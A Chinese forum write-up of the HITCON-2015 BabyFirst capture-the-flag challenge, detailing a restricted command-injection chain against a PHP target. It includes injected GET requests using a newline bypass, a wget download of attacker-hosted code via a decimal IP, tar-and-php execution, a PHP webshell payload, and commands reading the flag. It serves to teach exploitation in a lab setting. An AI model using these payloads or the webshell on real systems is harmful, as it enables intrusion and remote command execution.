-
-
[原创]在正则的缝隙里跳舞:BabyFirst 限制型命令注入的完整攻破与复现
-
发表于: 2天前 231
-
在正则的缝隙里跳舞:BabyFirst 限制型命令注入的完整攻破与复现
目标:HITCON-2015 BabyFirst,PHP 5.6.40 + nginx 动态靶机
结果:flag{05a7d031-20d3-4b84-acb8-f16a3336ae2e}
阅读本文你将获得:一套可复现的限制型命令注入攻击链(换行注入原语 → 纯 token 下载 → tar 打包执行 → 相对路径穿透),以及每个环节的原理与排错方法。
0. 题面:三重约束下的命令执行
靶机根路径直接 highlight_file(__FILE__),题面即源码:
<?php
highlight_file(__FILE__);
$dir = 'sandbox/' . $_SERVER['REMOTE_ADDR'];
if ( !file_exists($dir) )
mkdir($dir);
chdir($dir);
$args = $_GET['args'];
for ( $i=0; $i<count($args); $i++ ){
if ( !preg_match('/^\w+$/', $args[$i]) )
exit();
}
exec("/bin/orange " . implode(" ", $args));
?>
三条约束决定了攻击面:
| 约束 | 代码依据 | 后果 |
|---|---|---|
| 参数级白名单 | preg_match('/^\w+$/', $args[$i]) |
每个参数只能是 [A-Za-z0-9_];/ . - | > $() 空格全部不可用 |
| 前缀锁定 | exec("/bin/orange " . implode(" ", $args)) |
注入内容被拼在固定命令后,必须切断前缀 |
| 输出黑洞 | exec() 默认不捕获输出 |
无法直接回显,只能时间盲测 / 文件落地验证 |
另有一个隐性约束:$dir = 'sandbox/' . $_SERVER['REMOTE_ADDR']——每次请求先 mkdir + chdir 到 sandbox/<REMOTE_ADDR>/,即所有命令的 cwd 都是按客户端 IP 命名的沙箱目录(网关反代下该 IP 是内网值)。
1. 环境准备:攻击者侧基础设施
需要一台公网可达的 HTTP 服务器(下文以 <VPS_IP> 指代,十进制形式为 <VPS_DEC>):
- 在 80 端口托管 payload 文件
index.html,内容为写 shell 的 PHP 脚本(见 §4.1) - 记录访问日志,用于确认靶机是否成功下载(排错关键)
也可用任何可被 wget 拉取的 HTTP 服务(如对象存储的直链域名——域名本身是
\w+合法 token,同样可行;十进制 IP 是通用做法,不依赖域名解析)。
2. 注入原语:PCRE $ 锚点的换行绕过
preg_match('/^\w+$/', $arg) 校验的是"字符串整体由单词字符组成"。但 PCRE 默认(未启用 D 修饰符)下,$ 匹配的是"字符串末尾的换行符之前"的位置。因此:
参数值: a\n (即 URL 编码 a%0a)
正则: ^\w+$
匹配: \w 吃掉 'a',$ 锚定在换行之前 → 通过
该参数拼入 exec() 交给 /bin/sh -c 执行时,\n 是命令分隔符:
/bin/orange a
sleep 3 ← 前缀被切断,独立执行
验证(时间盲测)——exec() 无回显,延迟是唯一可靠的执行证据:
GET /?args[]=a%0a&args[]=sleep&args[]=3
实际耗时 ≈ 3.06s → 注入原语成立
3. 攻击链设计:把每个禁令变成攻击面
在纯 \w+ token 约束下,最终命令链为:
① mkdir exploit → 建纯字母目录(规避点号)
② cd exploit; wget <VPS_DEC> → 十进制 IP 下载(规避点号)
③ tar cvf archived exploit → 打包(归档名纯字母)
④ php archived → PHP 解析 tar 包,执行内嵌代码
3.1 十进制 IP(规避 wget 的点号)
wget 接受不带协议前缀的主机,但 IP 中的点号会被 \w+ 正则枪毙。将点分十进制 IP 换算为整数(IPv4 按大端拼接):
1.2.3.4 = 1·2²⁴ + 2·2¹⁶ + 3·2⁸ + 4 = 16909060
wget 16909060 等价于 wget d6bK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0q4Q4x3X3f1J5i4K6u0W2x3#2)9J5k6e0c8Q4x3V1j5`.(wget 自动补全协议),下载内容存为 index.html。
3.2 tar 引用目录名(规避落地文件的点号)
wget 落地文件固定叫 index.html——含点号,永远无法被 bash index.html 等方式直接引用(文件名过不了 ^\w+$)。解法:不引用文件,引用目录。tar cvf archived exploit 把整个目录打包成 archived(纯字母归档名),命令参数只需 exploit(纯字母目录名)。
3.3 PHP 解释器吞 tar 包(解决"下载的文件无法执行")
php archived 用 PHP CLI 解析 tar 归档。PHP 对非 PHP 文件是"文本透传 + <?php ?> 标签识别":tar 二进制头被当普通文本输出(无影响),内嵌的 PHP 代码段被正常解析执行。因此 payload 只需含 <?php ... ?> 标签,即可借 php archived 这条命令执行任意 PHP 代码。
4. Payload 与完整复现
4.1 服务器侧:托管 payload
<VPS_IP>:80/index.html(注意:用相对路径 ../../,这是关键):
<?php
file_put_contents('../../shell.php', '<?php system($_POST["cmd"]); ?>');
?>
4.2 靶机侧:四步注入(每条命令一个请求)
① mkdir:
GET /?args[]=a%0a&args[]=mkdir&args[]=exploit
② 下载(cd 进目录 + wget):
GET /?args[]=a%0a&args[]=cd&args[]=exploit%0a&args[]=wget&args[]=<VPS_DEC>
③ 打包:
GET /?args[]=a%0a&args[]=tar&args[]=cvf&args[]=archived&args[]=exploit
④ 执行:
GET /?args[]=a%0a&args[]=php&args[]=archived
4.3 相对路径穿透:为什么 ../../ 是关键
php archived 由 exec() 拉起,其 cwd 继承自 PHP 进程——即源码 chdir($dir) 后的 sandbox/<REMOTE_ADDR>/。我们不需要知道 REMOTE_ADDR 的具体值,因为相对路径可以脱离绝对位置使用:
sandbox/<REMOTE_ADDR>/ --../--> sandbox/ --../--> /var/www/html/(web 根)
于是 file_put_contents('../../shell.php', ...) 把 webshell 写到 web 根,访问路径确定:
POST /shell.php cmd=id
→ uid=33(www-data)
这一步绕开了"必须探测/猜测
sandbox/<IP>/目录名"的难点。相比"payload 写相对路径shell.php到 cwd 再探测 IP"的方案,../../穿透是确定性 100% 的——不需要任何关于网关 IP 的前置知识,也不存在 IP 变化导致的失败。
4.4 收 flag
POST /shell.php cmd=cat /flag
→ flag{05a7d031-20d3-4b84-acb8-f16a3336ae2e}
4.5 完整复现步骤(可直接照打)
- 起一个 HTTP 服务,托管 §4.1 的
index.html,记日志 - 计算
<VPS_DEC>(Python:sum(int(o)<<(8*(3-i)) for i,o in enumerate("1.2.3.4".split(".")))) - 依次发 §4.2 的 ①②③④ 四个请求
- 检查服务器日志:应有靶机的
GET /记录(确认 ② 成功) POST /shell.php cmd=cat /flag
5. 排错指南(实战踩过的坑)
| 现象 | 根因 | 排查 / 修复 |
|---|---|---|
| ① 后服务器日志无新记录 | %0a 放错了位置:args[]=mkdir%0a 会让 mkdir 变无参数调用,静默失败 |
第一个参数必须是 a%0a(dummy 引爆点),后续命令保持纯 token。先盲测 a%0a + sleep 3 确认注入原语存活 |
sleep 盲测不延迟 |
同上,或注入原语本身失效 | a%0a + sleep N,掐表 |
php archived 后 shell 找不到 |
① 写的是相对路径 shell.php(落在 sandbox/<IP>/,IP 未知难探测)② 或直接写绝对路径 /var/www/html/x.php 失败 |
改用 ../../shell.php 穿透到 web 根 |
payload 里读 $_SERVER['REMOTE_ADDR'] 得到空值 |
php archived 是 CLI 进程,无 HTTP 上下文,$_SERVER 不含该键 |
不要依赖运行时变量拿目录名;用 ../../ 穿透 |
PHP 语法错误(??) |
靶机 PHP 5.6 不支持空合并运算符 | 用 isset($x) ? $x : 'default' |
6. 技术要点总结
- PCRE 换行绕过:
$默认匹配换行前位置,a%0a通过^\w+$;换行进 shell 即命令分隔符,切断固定前缀。 - 十进制 IP:点分十进制 → 整数(大端拼接),纯数字合法 token,wget 裸用自动补全协议。
- tar 引用目录名:规避落地文件
index.html的点号,归档名可自定义为纯字母。 - PHP 吞 tar 包:CLI 解析非 PHP 文件时文本透传 + 标签识别,内嵌
<?php ?>被执行。 ../../相对路径穿透:cwd 位置确定即可用相对路径上跳,无需知道目录绝对名——把"探测内网 IP"降级为"写 web 根"。- 输出黑洞下的验证纪律:一切以时间盲测(
sleep N)和文件落地探测为准。
7. 结语
BabyFirst 的价值在于:它逼你把每一个"不可能"变成攻击面。点号被禁,就用十进制 IP;文件名不能有点,就打包目录;不能直接执行,就让 PHP 吞 tar 包;不知道自己在哪,就往上跳两级。
^\w+$ 以为封死了所有路,却不知 $ 的语义在换行符那里开了一扇门;sandbox/<IP>/ 以为用不可知的名字藏住了文件,却不知相对路径从来不需要绝对位置。
8. 感谢
感谢the_hs大佬提点我,看雪平台在所有靶机前面架了一层网关反代,PHP 拿到的 REMOTE_ADDR 是网关的内网 IP,而不是你的真实出口 IP,我才能顺利解出这道题。
当你觉得无路可走的时候,试着不要往前,往上跳两级。
冰与火的战歌:Windows内核攻防实战高级班!从零到实战,融合AI与Windows内核攻防全技术栈,打造具备自动化能力的内核开发高手。